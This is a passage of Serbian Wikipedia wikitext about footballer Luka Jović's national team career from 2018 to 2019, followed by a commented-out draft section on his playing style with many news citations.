klupskom nivou, Jović je kao standardni mladi reprezentativac bio u širem krugu potencijalnih seniorskih reprezentativaca, tokom proleća 2018.<ref>{{Cite web|url=https://sport.blic.rs/fudbal/svetski-fudbal/iz-drugog-plana-radonjic-i-jovic-na-radaru-krstajica-evo-ko-se-jos-namece-za-mundijal/3mzt93r|title=IZ DRUGOG PLANA Radonjić i Jović na radaru Krstajića, evo ko se još nameće za Mundijal|date=10. 4. 2018|accessdate=19. 12. 2019|last=Pijevac|first=Aleksandar|website=[[Blic (novine)|Blic]]}}</ref> Krajem maja iste godine, tadašnji selektor, [[Mladen Krstajić]], uvrstio je Jovića na širi spisak igrača za [[Svetsko prvenstvo u fudbalu 2018.|Svetsko prvenstvo]].<ref>{{Cite web|url=https://www.novosti.rs/%D0%B2%D0%B5%D1%81%D1%82%D0%B8/%D1%81%D0%BF%D0%BE%D1%80%D1%82.698.html:729121-ZA-SP-KONKURISE-27-IGRACA-Krstajic-objavio-spisak-za-Mundijal|title=ZA SP KONKURIŠE 27 IGRAČA: Krstajić objavio spisak za Mundijal|date=24. 5. 2018|accessdate=19. 12. 2019|last=Iljukić|first=N.|website=[[Večernje novosti]]}}</ref> Po skraćenju spiska, Jović se našao među 23 putnika u [[Rusija|Rusiju]], gde je održan završni turnir.<ref>{{cite web|url=http://www.rts.rs/page/sport/ci/%D0%A0%D1%83%D1%81%D0%B8%D1%98%D0%B02018/story/2766/orlovi/3157479/krstajic-objavio-konacan-spisak-za-rusiju.html|title=Krstajić objavio konačan spisak za Rusiju|author=[[Fudbalski savez Srbije]]|work=[[Tanjug]]|publisher=[[Radio-televizija Srbije]]|date=1. 6. 2018|accessdate=23. 6. 2019}}</ref> Za [[Fudbalska reprezentacija Srbije|seniorsku reprezentaciju Srbije]], Jović je debitovao [[4. jun]]a 2018. u pripremnom meču za Svetsko prvenstvo, protiv reprezentacije [[Fudbalska reprezentacija Čilea|Čilea]], u [[Grac]]u, gde je njegov tim poražen minimalnim rezultatom. Jović je u igru ušao u 84. minutu, stupivši na teren umesto [[Aleksandar Mitrović (fudbaler)|Aleksandra Mitrovića]].<ref>{{cite web|url=https://fss.rs/u-prvoj-od-dve-provere-u-austriji-srbija-0-cile-1/|title=U prvoj od dve provere u Austriji: Srbija 0 – Čile 1|website=[[Fudbalski savez Srbije]]|date=4. 6. 2018|accessdate=23. 6. 2019}}</ref> Svoj jedini nastup na turniru u Rusiji je, Jović je zabeležio na poslednjoj utakmici, protiv [[Fudbalska reprezentacija Brazila|Brazila]] kada je ušao u igru u 89. minutu.<ref>{{cite web|url=https://www.fifa.com/worldcup/matches/match/300331521/#serbia-v-brazil-group-e-2018-fifa-world-cup-russia-2|title=Serbia 0-2 Brazil|publisher=[[FIFA]]|date=27. 6. 2018|accessdate=23. 6. 2019|language=en|archive-date=24. 12. 2018|archive-url=https://web.archive.org/web/20181224182133/https://www.fifa.com/worldcup/matches/match/300331521/#serbia-v-brazil-group-e-2018-fifa-world-cup-russia-2|url-status=dead}}</ref> Posle Svetskog prvenstva u Rusiji, Jović se vratio u sastav mlade reprezentacije,<ref>{{Cite web|url=https://www.novosti.rs/%D0%B2%D0%B5%D1%81%D1%82%D0%B8/%D1%81%D0%BF%D0%BE%D1%80%D1%82.434.html:760318-Jovic-U-reprezentaciji-nije-bitno-ko-je-najbolji-strelac|title=Jović: U reprezentaciji nije bitno ko je najbolji strelac|date=13. 11. 2018|accessdate=19. 12. 2019|work=[[Novinska agencija Beta]]|publisher=[[Večernje novosti]]}}</ref> sa kojom se 2019. takmičio na Evropskom prvenstvu za igrače do 21 godine, leta 2019.<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/iskreni-luka-jovic-mnogi-na-mom-mestu-ne-bi-igrali-evropsko-prvenstvo-za-mlade/330158|title=Iskreni Luka Jović: Mnogi na mom mestu ne bi igrali Evropsko prvenstvo za mlade|publisher=mozzartsport.com|date=17. 6. 2019|accessdate=6. 11. 2019}}</ref> U međuvremenu, Jović je nastupio na susretu [[UEFA Liga nacija 2018/19.#Grupa 4 3|Lige nacija]] sa [[Fudbalska reprezentacija Crne Gore|Crnom Gorom]].<ref>{{cite web|url=https://www.dnevnik.rs/sport/fudbal/liga-nacija-srbija-crna-gora-00-uzivo-17-11-2018|title=Liga nacija: Srbija-Crna Gora 2:1 (2:0) (uživo)|publisher=[[Dnevnik holding]]|date=17. 11. 2018|accessdate=19. 12. 2019}}</ref> Svoj prvi pogodak u seniorskoj reprezentaciji postigao je [[20. mart]]a 2019. godine, u prijateljskoj utakmici protiv [[Fudbalska reprezentacija Nemačke|Nemačke]], koja je završena rezultatom 1 : 1. Tada je prvi put uvršen u startnu postavu Srbije, a iz igre je izašao nakon 70 minuta, posle čega ga je na terenu zamenio [[Milan Pavkov]].<ref name="NemačkaGol">{{cite web|url=http://www.zurnal.rs/fudbal/reprezentacija/77410/sjajan-mec-i-remi-pancera-i-orlova-u-volfsburgu-uz-prvenac-jovica-foto-video|title=Sjajan meč i remi Pancera i Orlova u Volfsburgu uz prvenac Jovića (FOTO, VIDEO)|publisher=[[Sportski žurnal]]|date=20. 3. 2019|accessdate=23. 6. 2019}}</ref> Pred odlazak na Evropsko prvenstvo sa mladom reprezentacijom, Jović je takođe bio u sastavu seniorske ekipe.<ref name="JoviciliMitrovic">{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/mitrovic-ili-jovic-ili-mitrovic-i-jovic/329127|last=Tomković|first=Vujadin|title=Mitrović ili Jović ili Mitrović i Jović|date=6. 6. 2019|accessdate=2. 12. 2019|website=mozzartsport.com|archive-url=https://web.archive.org/web/20191219184335/https://www.mozzartsport.com/fudbal/vesti/mitrovic-ili-jovic-ili-mitrovic-i-jovic/329127|archive-date=19. 12. 2019|url-status=dead}}</ref> U startnoj postavi našao se u [[Lavov]]u, gde je Srbija pretrpela poraz od 5 : 0 od domaće [[Fudbalska reprezentacija Ukrajine|Ukrajine]],<ref>{{Cite web|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2019&mm=06&dd=07&nav_id=1552151|title=Ukrajina ponizila Srbiju – 5:0 u Lavovu!|date=7. 3. 2019|accessdate=19. 12. 2019|last=N|first=S.|website=[[B92]]}}</ref> dok je nekoliko dana kasnije postigao svoj drugi pogodak u dresu reprezentacije, u pobedi od 4 : 1 nad [[Fudbalska reprezentacija Litvanije|Litvanijom]].<ref name="LitvanijaGol">{{Cite web|url=https://www.telegraf.rs/sport/fudbal/3070381-srbija-litvanija-kvalifikacije-za-ep|title=Orlovi sa 4:1 isprašili slabašne Litvance: Jović nam servirao evrogol i nestvaran promašaj, dva pogotka Mitrovića! (VIDEO)|date=10. 6. 2019|accessdate=19. 12. 2019|website=[[Telegraf.rs|Telegraf]]}}</ref> U avgustu 2019. Jović se našao na prvom spisku novog selektora, [[Ljubiša Tumbaković|Ljubiše Tumbakovića]].<ref>{{Cite web|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2019&mm=08&dd=23&nav_id=1581328|title=Tumbaković objavio spisak reprezentativaca Srbije VIDEO|date=23. 8. 2019|accessdate=19. 12. 2019|last=V|first=S.|publisher=[[B92]]}}</ref> Pod njegovim vođstvom, Jović je prvi put nastupio protiv [[Fudbalska reprezentacija Portugalije|Portugalije]], [[7. septembar|7. septembra]] iste godine, kada je u završnici susreta u igru ušao umesto [[Luka Milivojević|Luke Milivojevića]].<ref>{{Cite web|url=https://mozzartsport.com/fudbal/vesti/kraj-srbija-portugalija-2-4-video/336929|title=KRAJ: Srbija - Portugalija 2:4 (VIDEO)|date=7. 9. 2019|accessdate=19. 12. 2019|website=mozzartsport.com}}</ref> Fudbalski savez Srbije je posle te utakmice saopštio da je Jović obnovio povredu, zbog čega nije bio u sastavu za meč protiv [[Fudbalska reprezentacija Luksemburga|Luksemburga]].<ref>{{Cite web|url=http://www.rts.rs/page/sport/ci/story/31/fudbal/3653680/srbija-bez-jovica-protiv-luksemburga.html|title=Srbija bez Jovića protiv Luksemburga|date=8. 9. 2019|accessdate=19. 12. 2019|author=[[Fudbalski savez Srbije]]|work=[[Tanjug]]|publisher=[[Radio-televizija Srbije]]}}</ref> Jović je, potom, izostavljen sa sledećeg Tumbakovićevog spiska,<ref>{{Cite web|url=https://www.novosti.rs/%D0%B2%D0%B5%D1%81%D1%82%D0%B8/%D1%81%D0%BF%D0%BE%D1%80%D1%82.434.html:821508-NI-MATIC-NI-JOVIC-Tumbakovic-saopstio-spisak-za-naredna-dva-meca|title=NI MATIĆ, NI JOVIĆ: Tumbaković saopštio spisak za naredna dva meča|date=30. 9. 2019|accessdate=19. 12. 2019|last=I|first=N.|publisher=[[Večernje novosti]]}}</ref> dok je sportska javnost u Srbiji bila podeljena po pitanju te odluke.<ref>{{Cite web|url=https://sport.blic.rs/fudbal/domaci-fudbal/luka-jovic-ljubisa-tumbakovic-fudbalska-reprezentacija-srbije-problem/jgbcm9w|title=LUKA, SINE, SEDI DA TI KAŽEM... Jović treba reprezentaciji Srbije, taj problem mora da se reši|date=14. 10. 2019|accessdate=19. 12. 2019|last=Jovanović|first=Ivan|publisher=[[Blic (novine)|Blic]]}}</ref> Prema pisanju sportskih i tabloidnih medija, Jović je povredu prijavio zbog nezadovoljstva statusom kod šefa stručnog štaba reprezentacije i minimalne minutaže koju je dobio protiv selekcije Portugala, što je iskoristio kao izgovor da slobodno vreme provede u [[Beograd]]u.<ref>{{Cite web|url=https://mondo.ba/Sport/Fudbal/a908071/Luka-Jovic-i-Sofija-Milosevic-reprezentacija.html|title=Kakav fudbal i povrede, Sofija Milošević je razlog kažnjavanja Luke Jovića?|date=22. 10. 2019|accessdate=6. 12. 2019|work=[[Telegraf.rs|Telegraf]]|publisher=mondo.ba}}</ref> S druge strane, Tumbaković je bio nezadovoljan odnosom igrača, koji je nekoliko dana kasnije nastupio za klub.<ref>{{Cite web|url=https://mozzartsport.com/fudbal/vesti/javio-se-jovic-senior-luka-je-povreden-igrao-za-mlade-neka-tumabkovic-to-resi-u-cetiri-oka/339838|title=Javio se Jović senior: Luka je povređen igrao za mlade, neka Tumabković to reši u četiri oka|date=15. 10. 2019|accessdate=19. 12. 2019|work=[[Alo!]]|publisher=mozzartsport.com}}</ref> Usled kršenja discipline, Tumbaković nadalje nije zvao Jovića u sastav reprezentacije.<ref>{{Cite web|url=https://www.srbijadanas.com/sport/fudbal/dok-je-tumbakovic-selektor-luka-jovic-nece-igrati-za-srbiju-foto-2019-10-17|title=DOK JE TUMBAKOVIĆ SELEKTOR: Luka Jović neće igrati za Srbiju (FOTO)|date=17. 10. 2019|accessdate=19. 12. 2019|work=[[Informer]]|publisher=srbijadanas.com}}</ref><ref>{{Cite web|url=https://www.telegraf.rs/sport/fudbal/3116339-ovaj-potez-jovica-je-naterao-tumbakovica-da-ga-precrta-evo-sta-se-desilo-u-pazovi-posle-portugala|title=Potez Jovića koji je naterao Tumbu da ga precrta: Insajd info o frci posle Portugalije u Pazovi!|date=28. 10. 2019|accessdate=19. 12. 2019|last=U|first=D.|last2=M|first2=M.|publisher=[[Telegraf.rs|Telegraf]]}}</ref><ref>{{Cite web|url=https://sport.blic.rs/fudbal/evropski-fudbal/spisak-fudbalera-srbije-tumbakovi-saoptio/hz2pk0q|title=JOVIĆ OSTAO PRECRTAN, TUMBA NE MENJA STAV! Selektor saopštio spisak Srbije sa nizom iznenađenja, tu je i ZABORAVLJENI NAPADAČ!|date=8. 11. 2019|accessdate=19. 12. 2019|last=Jovanović|first=Ivan|publisher=[[Blic (novine)|Blic]]}}</ref> <!-- == Način igre == {{quote box|width=33%|align=right|quote=''Ako je to pritisak za njega, onda nije napravljen od pravog materijala. Ako ne može da izdrži pritisak koji smo mu stavili, onda nije on to za šta ga planiramo. Luka Jović je strateški plan kluba i ja ću se baviti time i preduzeću sve mere da Zvezda sledećeg leta prihoduje 6-8 miliona evra za njega. A u to se podrazumevju i njegova minutaža, golovi, ishrana, lični marketing, reprezentacija, promocija po Evropi, i devetka na leđima. Ja sam pre nekoliko dana zvao Despotovića da mu objasnim zašto sam mu uzeo devetku i on to nije mogao da shvati. Despotoviću, dobar si igrač, ali da u ovom trenutku da Van Persi dođe u Crvenu zvezdu, devetka ide na leđa Luke Jovića, jer sam ja tako odlučio. Zato što smo zacrtali cilj da sledeće sezone uzmemo 8 miliona evra za transfer Luke Jovića. Da bismo uzeli 8 miliona evra mora da ima i devetku na leđima, ne može da nosi 47.''|source=—[[Zvezdan Terzić]], avgust 2014.<ref>{{Cite web|url=https://fudbal.hotsport.rs/2014/08/15/terzic-otkrio-zasto-je-uzeo-devetku-despotovicu-i-dao-je-jovicu/|title=Terzić otkrio zašto je uzeo ‘devetku’ Despotoviću i dao je Joviću|date=15. 8. 2014|accessdate=1. 12. 2019|publisher=hotsport.rs}}</ref>}} Jović je sportskoj javnosti u Srbiji u medijima predstavljen tokom 2013. godine. Tada ga je šef stručnog štaba [[FK Crvena zvezda|Crvene zvezde]], kao petnaestogodišnjaka priključio treningu organizovanom za rezerviste i nekolicinu igrača mlađih kategorija, radi provere njihovih mogućnosti. Jović se istakao atraktivnim potezom.<ref name="Makazice"/> Iste godine je potpisao profesionalni ugovor sa klubom, pa je na jesen priključen omladinskoj selekciji, koju je pretežno sačinjavala godinu dana starija generacija.<ref name="Profi"/> U analizi njegovih igara i sportskim vestima, Jović je upoređen sa [[Darko Pančev|Darkom Pančevim]], nekadašnjim fudbalerom Crvene zvezde i osvajačem [[Generacija 1991.|Kupa evropskih šampiona 1991. godine]].<ref name="KaoPančev"/> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/jovic-najvise-podseca-na-aguera-u-benfiki-bio-nezreo-i-samo-jedan-od-mnogih/356844|title=Jović najviše podseća na Aguera, u Benfiki bio nezreo i samo jedan od mnogih...|date=1. 5. 2020|accessdate=2. 5. 2020|website=mozzartsport.com}}</ref> <ref name="Čika*Paja"/> <ref>{{cite web|url=https://www.facebook.com/istorijaexyufudbala/photos/pavle-paja-jevti%C4%87-centarfor-napretka-70-ih/855062544681630/|title=Pavle Paja Jevtić|work=Istorija ex yu fudbala|publisher=[[Fejsbuk]]|date=25. 3. 2018|accessdate=6. 12. 2019}}</ref> <ref name="Nisi*na*izletu"/> Iako je okarakterisan kao najtalentovaniji napadač u proteklih 20 godina, Jović je, nedugo nakon svog šesnaestog rođendana i sticanja prava nastupa u seniorskoj konkurenciji, izostavljen sa spiska [[Slaviša Stojanović|Slaviše Stojanovića]] za pripreme prvog tima, početkom 2014. godine.<ref name="BezPripreme"/> Kako je Jović nastavio da pruža zapažene partije u kontinuitetu i tokom proleća, u mlađim klupskim i reprezentativnim uzrastima,<ref name="NajefikasnijiU19"/> Jovića je sportski sektor Crvene zvezde prepoznao kao potencijal za budućnost kluba i planirao ga za prvi tim od leta iste godine.<ref name="MrdjaiDauda"/> Tako je radu sa seniorskom ekipom priključen pred kraj takmičarske [[Superliga Srbije u fudbalu 2013/14.|2013/14]]. u [[Superliga Srbije u fudbalu|Superligi Srbije]]. Na zatvaranju sezone, Jović je, dva minuta nakon ulaska u igru, na svom debitantskom nastupu postigao i prvi pogodak u seniorskoj konkurenciji. Tako je postao najmlađi strelac u istoriji svog kluba, ispred [[Dejan Stanković|Dejana Stankovića]], koji je držao dotadašnji rekord.<ref name="Rekorder"/> Generalni direktor Crvene zvezde, [[Zvezdan Terzić]], pohvalno je govorio o Jovićevim fudbalskim kvalitetima, opisao ga kao kompletnog napadača i uporedio ga sa kolumbijcem [[Radamel Falkao|Radamelom Falkaom]], tadašnjim fudbalerom [[FK Monako|Monaka]].<ref>{{Cite web|url=http://www.novosti.rs/%D0%B2%D0%B5%D1%81%D1%82%D0%B8/%D1%81%D0%BF%D0%BE%D1%80%D1%82.434.html:505069-Terzic-Bice-kako-Milijas-odluci-Jovic-je-novi-Falkao|last=Cvetojević|first=B.|title=Terzić: Biće kako Milijaš odluči, Jović je novi Falkao!|date=11. 8. 2014|accessdate=1. 12. 2019|website=[[Večernje novosti]]}}</ref> Kao manu je zamerio nedostatak radnih navika.<ref>{{Cite web|url=https://www.kurir.rs/sport/fudbal/1438363/zvezdan-terzic-za-kurir-ne-mozemo-uzeti-kredit|last=Bjelinić|first=Miloš|title=Zvezdan Terzić za Kurir: Ne možemo uzeti kredit|date=27. 6. 2014|accessdate=1. 12. 2019|website=[[Kurir (novine)|Kurir]]}}</ref> Terzić je, po odlasku [[Abiola Dauda|Abiole Daude]] iz kluba, insistirao da Jović zaduži dres sa brojem 9, obrazloživši takav potez marketinškim razlozima.<ref name="Mora9"/> <ref name="SK:Luka_Jović"/> Nekoliko odlučujućih golova u drugom delu 2015.<ref name="Radnički11"/><ref name="Voždovac32"/><ref name="Spartak32"/> <ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a650732/Da-li-je-Luka-Jovic-zasluzio-sansu-u-Zvezdi.html|title=Da li je Luka Jović zaslužio šansu u Zvezdi?|date=10. 1. 2014|accessdate=2. 12. 2019|website=mondo.rs}}</ref> <ref>{{Cite web|url=https://www.biografija.org/sport/fudbal/luka-jovic/|title=Luka Jović|date=13. 6. 2019|accessdate=5. 12. 2019|publisher=biografija.org}}</ref> <ref>{{Cite web|url=https://www.srbijadanas.com/clanak/luka-jovic-ne-podlezem-pritisku-12-07-2014|title=LUKA JOVIĆ: Ne podležem pritisku!|date=12. 7. 2014|accessdate=2. 12. 2019|website=srbijadanas.com}}</ref> <ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a1193379/Luka-Jovic-neverovatan-nivo-fizicke-spreme-odusevljeni-u-Real-Madridu-prozvali-ga-Ivan-Drago.html|title=Jović oduševio doktore, navijači ga zovu Ivan Drago!|date=13. 6. 2019|accessdate=2. 12. 2019|publisher=mondo.rs}}</ref> <ref>{{Cite web|url=https://www.telegraf.rs/sport/fudbal/3068823-preokret-na-marakani-oko-dovodjenja-napadaca-zvezda-ne-zeli-da-joj-se-ponovi-luka-jovic|title=Preokret na Marakani oko dovođenja napadača: Zvezda ne želi da joj se ponovi Luka Jović!|date=6. 6. 2019|accessdate=2. 12. 2019|website=[[Telegraf.rs|Telegraf]]}}</ref> <ref name="Intervju-MS-DN">{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/intervju-luka-jovic-pricali-su-da-sam-debeljko-a-sada-imam-sest-kilograma-vise-nego-u-zvezdi-postoji-san-o-otkritije-areni/291529|last=Nedeljković|first=Darjan|title=INTERVJU - Luka Jović: Pričali su da sam debeljko, a sada imam šest kilograma više nego u Zvezdi! Postoji san o Otkritije Areni|date=2. 4. 2018|accessdate=2. 12. 2019|website=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://mozzartsport.com/fudbal/vesti/dilema-luka-jovic-koji-je-pravi-put-za-zvezdinog-bisera/167847|title=Dilema Luka Jović: Koji je pravi put za Zvezdinog bisera?|date=5. 11. 2014|accessdate=7. 12. 2019|website=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://srbin.info/sport/uefa-luka-jovic-srpski-falkao-koji-podseca-na-gerda-milera-video/|title=UEFA: Luka Jović – srpski Falkao koji podseća na Gerda Milera (VIDEO)|date=14. 2. 2019|accessdate=7. 12. 2019|author=[[UEFA]]|work=[[B92]]|publisher=srbin.info}}</ref> <ref>{{Cite web|url=https://www.bbc.com/serbian/cyr/srbija-48529971|title=Luka Jović i Real: Od Bijeljine do „kraljevskog kluba"|date=5. 6. 2019|accessdate=13. 12. 2019|last=Protić|first=Marko|publisher=[[Bi-Bi-Si sport]]}}</ref> <ref>{{Cite web|url=https://www.getfootballnewsgermany.com/2019/life-without-jovic-haller-rebic-how-eintracht-frankfurt-have-fared-since-the-departure-of-their-goal-machines/|title=Life without Jović, Haller & Rebić – how Eintracht Frankfurt have fared since the departure of their goal machines|trans-title=Život bez Jovića, Halera i Rebića - kako se Ajntraht iz Frankfurta pripremao za odlazak gol mašina iz svojih redova|date=28. 11. 2019|accessdate=13. 12. 2019|last=Szlenk|first=Brian|publisher=getfootballnewsgermany.com|language=en}}</ref> <ref>{{Cite web|url=https://kafanskiselektor.rs/jovic-ide-kod-milivojevica/|title=Jović ide kod Milivojevića?!|date=25. 12. 2018|accessdate=13. 12. 2019|last=Petković|first=Milan|publisher=kafanskiselektor.rs}}</ref> <ref>{{Cite web|url=https://techsport.rs/da-li-ce-jovic-puniti-mreze-i-u-ligi-sampiona/|title=Da li će Jović puniti mreže i u Ligi šampiona?|date=8. 4. 2018|accessdate=13. 12. 2019|last=Jovanović|first=Jovan|publisher=techsport.rs}}</ref> <ref>{{Cite web|url=https://www.dw.com/en/decision-time-for-eintracht-frankfurts-luka-jovic-as-germany-face-serbia/a-47964627|title=Decision time for Eintracht Frankfurt's Luka Jovic as Germany face Serbia|trans-title=Vreme odluke za Ajntrahtovog Luku Jovića, pred susret Nemačke i Srbije|date=18. 3. 2019|accessdate=13. 12. 2019|last=Ford|first=Matt|publisher=[[Dojče vele]]|language=en}}</ref> <ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a1256020/Luka-Jovic-o-Realu-i-Zidanu.html|last=V|first=S.|title=Da li je Luka Jović mogao više? Možda, ali odigrao je TRI I PO utakmice...|date=3. 12. 2019|accessdate=6. 12. 2019|website=mondo.rs}}</ref> <ref>{{Cite web|url=https://www.sportske.net/vest/medjunarodni-fudbal/ko-se-zadnji-smeje-terzic-najavio-da-je-jovic-novi-falkao-sada-ima-novu-izjavu-375249.html|last=Obrenović|first=Aleksandar|title=Ko se zadnji smeje... Terzić najavio da je Jović novi Falkao, sada ima novu izjavu!|date=4. 5. 2019|accessdate=1. 12. 2019|website=sportske.net}}</ref> <ref>{{Cite web|url=https://fudbal.hotsport.rs/2019/05/04/zvezdan-terzic-dogodilo-se-no-sto-sam-ocekivao-luka-je-eksplodirao-bice-bolji-od-falkaa-u-zvezdi-ne-mogu-da-se-razviju-igarci/|title=ZVEZDAN TERZIĆ: Dogodilo se ono što sam očekivao, Luka je eksplodirao i biće bolji od Falkaa|date=4. 5. 2019|accessdate=1. 12. 2019|website=hotsport.rs}}</ref> <ref>{{Cite web|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2019&mm=12&dd=01&nav_id=1625220|last=V|first=S.|title=Kako je Luka Jović postao "Jovara-pekara"?|date=1. 12. 2019|accessdate=1. 12. 2019|website=[[B92]]}}</ref> <ref>{{Cite web|url=http://www.politika.rs/scc/clanak/431187/Sport/Luka-Jovic-prva-devetka-u-Realu-posle-deset-godina|last=Miletić|first=Aleksandar|title=Luka Jović prva „devetka” u Realu posle deset godina|date=5. 6. 2019|accessdate=1. 12. 2019|website=[[Politika (novine)|Politika]]}}</ref> <ref>{{Cite web|url=https://www.maxbetsport.rs/milosevic-suflira-barsi-kupite-jovica-necete-da-pogresite-105738/|last=Mutavdžić|first=Željko|title=Milošević suflira Barsi: Kupite Jovića, nećete da pogrešite!|date=27. 3. 2019|accessdate=1. 12. 2019|website=maxbetsport.rs}}</ref> Na prvenstvu za mlade --- <ref>{{Cite web|url=https://www.telegraf.rs/sport/fudbal/3074001-ko-je-jno-luka-jovic-nemacki-navijaci-prozivali-naseg-napadaca-nisu-ga-stedeli-ni-mediji|title="Ko je taj Luka Jović?" Nemački navijači prozivali našeg napadača, nisu ga štedeli ni mediji!|date=21. 6. 2019|accessdate=2. 12. 2019|website=[[Telegraf.rs|Telegraf]]}}</ref> ---- <ref>{{cite news|title=Luka Jović: Dečko gladan golova gazi ka vrhu koracima od sedam milja|url=https://www.bbc.com/serbian/cyr/srbija-47672810|accessdate=25. 3. 2019|publisher=[[Bi-Bi-Si sport]]|date=20. 12. 2019|last=Protić|first=Marko}}</ref> <ref>{{Cite web|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2019&mm=12&dd=18&nav_id=1632223|last=T|first=M.|title=Transferi koji nikome nisu doneli dobro|date=18. 12. 2019|accessdate=20. 12. 2019|website=[[B92]]}}</ref> <ref>{{Cite web|url=https://sport.blic.rs/fudbal/evropski-fudbal/fk-real-madrid-leganjes-luka-jovic-prvi-gol-marca-as-zinedin-zidan/b4kke7s|last=Knežević|first=Aleksandar|title="JOVIĆ JE UBICA NA SLOBODI!" Španci posle Lukinog prvenca NAGLO PROMENILI PLOČU: Zidanovo kockanje se konačno isplatilo|date=31. 10. 2019|accessdate=20. 12. 2019|website=[[Blic (novine)|Blic]]}}</ref> <ref>{{Cite web|url=https://www.danas.rs/sport/mladi-fudbaleri-srbije-na-ep-potpuno-razocarali-protiv-austrije/|last=N|first=O.|title=Mladi fudbaleri Srbije na EP potpuno razočarali protiv Austrije|date=19. 6. 2019|accessdate=20. 12. 2019|website=[[Danas (novine)|Danas]]}}</ref> <ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a1055955/Kvalifikacije-za-EP-mladih-2019-Austrija-Srbija-UZIVO.html|title=Luka Jović i debitanti - Srbija pobedila Austriju!|date=10. 11. 2017|accessdate=20. 12. 2019|website=mondo.rs}}</ref> <ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a1244840/Luka-Jovic-o-statusu-u-reprezentaciji-Srbije-prvom-golu-za-Real-Zinedinu-Zidanu.html|title=Luka Jović: Pitajte selektora Tumbakovića za moj status u reprezentaciji|date=1. 11. 2019|accessdate=20. 12. 2019|website=mondo.rs}}</ref> <ref>{{Cite web|url=https://www.novosti.rs/%D0%B2%D0%B5%D1%81%D1%82%D0%B8/%D1%81%D0%BF%D0%BE%D1%80%D1%82.434.html:836459-Jovic-i-ekipa-dobili-nove-skupocene-automobile-Evo-sta-voze-fudbaleri-Reala-FOTOVIDEO|title=Jović i ekipa dobili nove skupocene automobile: Evo šta voze fudbaleri Reala (FOTO/VIDEO)|date=16. 12. 2019|accessdate=20. 12. 2019|website=[[Večernje novosti]]}}</ref> <ref>{{Cite web|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2019&mm=10&dd=20&nav_id=1605925|title="Jović je više smetao nego što je doprinosio"|date=20. 10. 2019|accessdate=20. 12. 2019|last=N|first=L.|website=[[B92]]}}</ref> <ref>{{Cite web|url=http://sportklub.rs/Blog/Gojko-Andrijasevic/a290455-Trst-ni-je-nas.html|title=Trst (ni)je naš|date=23. 6. 2019|accessdate=20. 12. 2019|last=Andrijašević|first=Gojko|authorlink=Gojko Andrijašević|website=[[Sport klub]]}}</ref> <ref>{{Cite web|url=https://www.managingmadrid.com/2019/8/7/20759353/player-ratings-red-bull-salzburg-0-1-real-madrid|title=Player Ratings: Red Bull Salzburg 0-1 Real Madrid|trans-title=Ocene igrača Red bul Salcburg 0 : 1 Real Madrid|date=7. 8. 2019|accessdate=20. 12. 2019|last=Wilson|first=Emily T.|website=managingmadrid.com|language=en}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/ko-je-prokleo-real-jovic-u-stativu-kros-i-naco-u-precku-benzema-u-prazan-gol-i-nece-video/345858|title=Ko je prokleo Real? Jović u stativu, Kros i Naćo u prečku, Benzema u prazan gol i - neće (VIDEO)|date=22. 12. 2019|accessdate=31. 12. 2019|publisher=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/legenda-reala-luka-jovic-nije-los-igrac-ali-treba-nam-hari-kejn-odmah-pa-i-da-kosta-200-000-000-evra/346378|title=Legenda Reala: Luka Jović nije loš igrač, ali treba nam Hari Kejn! Odmah! Pa i da košta 200.000.000 evra...|date=29. 12. 2019|accessdate=31. 12. 2019|publisher=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/luka-jovic-se-vraca-u-reprezentaciju-srbije/346474|title=Luka Jović se vraća u reprezentaciju Srbije!|date=30. 12. 2019|accessdate=31. 12. 2019|last=Tomković|first=Vujadin|publisher=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/tumbakovic-ne-odustajem-od-bate-mirkovica-a-jovic-ce-nam-biti-od-velike-pomoci/346627|title=Tumbaković: Ne odustajem od Bate Mirkovića, a Jović će nam biti od velike pomoći|date=2. 1. 2020|accessdate=2. 1. 2019|publisher=mozzartsport.com}}</ref> <ref>{{Cite news|url=https://www.novosti.rs/%D0%B2%D0%B5%D1%81%D1%82%D0%B8/%D1%81%D0%BF%D0%BE%D1%80%D1%82.434.html:845366-Jovic-sta-se-desava-Ponekad-sedim-na-Jutjubu-i-gledam-snimke|title=Jović, šta se dešava? Ponekad sedim na Jutjubu i gledam snimke...|date=3. 2. 2020|accessdate=4. 2. 2020|publisher=[[Večernje novosti]]}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/oglasio-se-zidan-jovicu-je-ovo-bilo-potrebno-nije-srecan-bez-gola/350198|title=Oglasio se Zidan: Joviću je ovo bilo potrebno, nije srećan bez gola|date=9. 2. 2020|accessdate=22. 2. 2020|website=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/zidan-obecao-jovicu-sigurne-minute/350237|title=Zidan obećao Joviću sigurne minute|date=10. 2. 2020|accessdate=22. 2. 2020|website=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/dovoljno-mu-i-tri-minuta-jovic-levicom-zakucao-osasunu-video/350194|title=Dovoljno mu i tri minuta: Jović levicom zakucao Osasunu! (VIDEO)|date=9. 2. 2020|accessdate=22. 2. 2020|website=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/real-pao-u-predgradu-valensije-i-izgubio-prvo-mesto-pred-klasiko-video/351262|title=Real pao u predgrađu Valensije i izgubio prvo mesto pred Klasiko (VIDEO)|date=22. 2. 2020|accessdate=23. 2. 